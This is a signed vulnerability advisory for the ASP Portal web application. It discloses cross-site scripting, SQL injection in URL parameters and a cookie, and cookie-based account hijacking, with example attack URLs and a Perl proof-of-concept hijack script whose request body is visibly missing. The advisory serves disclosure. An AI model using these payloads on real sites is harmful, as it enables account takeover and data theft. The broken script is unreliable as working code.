-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Title: Asp Portal Multiple Vulnerabilities By: Manuel López Software: Asp Portal Vendor Description: ASP Portal is a an ASP powered portal site which uses an Access database to store all the site info. The script also includes and easy to use Admin Interface, so you can change everything you need to online, which makes maintaing the site very easy. Severity: Moderately critical Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, ID Spoofing. Underlying OS: Linux (Any), UNIX (Any), Windows (Any) Description: ---- Cross-Site Scripting ---- This product is vulnerable to the Cross-Site Scripting vulnerability that would allow attackers to inject HTML and script codes into the pages and execute it on the client's browser. http://localhost/index.asp?inc='>[XSS] http://localhost/index.asp?inc=profile&searchtext='>[XSS] http://localhost/index.asp?inc=forumread&article='>[XSS] ---- Image ScriptCode Injection ---- An attacker can inject arbitrary HTML or scriptcode instead of an Image in "photograph URL" of user's 'details' page. javascript:alert() ---- Sql Injection ---- Another problem of sanitation could lead an attacker to inject SQL code to manipulate and disclose various information from the database. The problem is in the fields 'pageid' and 'downloadscat'. http://localhost/index.asp?inc=blog&pageid='[SqlQuery] http://localhost/index.asp?inc=downloadssub&downloadscat='[SqlQuery] Also it is possible an Sql Injection in the cookie, in 'thenick' field. GET http://localhost/index.asp HTTP/1.1 Cookie: thenick='[SqlQuery] ---- Cookie Account Hijack ---- It is possible to impersonate others by manipulating the 'thenick' parameter in the cookie. Modifying the cookie is possible to gain access to other account. This issue can be exploited to gain an administrative account with the service. ---- PROOF OF CONCEPT COOKIE ACCOUNT HIJACK ---- #!/usr/bin/perl -w ## PROOF OF CONCEPT COOKIE ACCOUNT HIJACK ## Example: Asp-POC.pl localhost portal/index.asp Admin respuesta.htm use IO::Socket; if (@ARGV < 4) { print "\n\n"; print " ____________________________________________________________ \n"; print "| |\n"; print "| PROOF OF CONCEPT COOKIE ACCOUNT HIJACK |\n"; print "| Usage:Asp-POC.pl [host] [directorio] [usuario] [fichero] |\n"; print "| |\n"; print "| By: Manuel López #IST |\n"; print "|____________________________________________________________|\n"; print "\n\n"; exit(1); } $host = $ARGV[0]; $directorio = $ARGV[1]; $usuario = $ARGV[2]; $fichero = $ARGV[3]; print "\n"; print "----- Conectando <----\n"; $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host",PeerPort => "80") || die "$socket error $!"; print "====> Conectado\n"; print "====> Enviando Datos\n"; $socket->print(< OK\n"; print "====> Generando $fichero ...\n"; open( Result, ">$fichero"); print Result while <$socket>; close Result; ------------------------------------------------ Solution: Vendor contacted. The vulnerabilities have reportedly been fixed in the new version. Download the January patch: http://www.aspportal.net/downloadsviewer.asp?theurl=38 or buy the new version. ---- Credits ---- Manuel López ( mantra@gulo.org ) #IST Special Thank´s: -- Aklis -- gulo.org Kein, Skool, TheChakal, vientoS, |RDR|, NSR500, ^SaRgE^ .. and all the #IST staff. Excuse me for speaking English so badly. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 iD8DBQFALavflZD3/ZFHM4ERApRSAJ46rZRn3OlSXp/k2jXwCXT0S0RLywCgn08e mx+V1tKxAMSzt7PTgVh2D2A= =0oiR -----END PGP SIGNATURE-----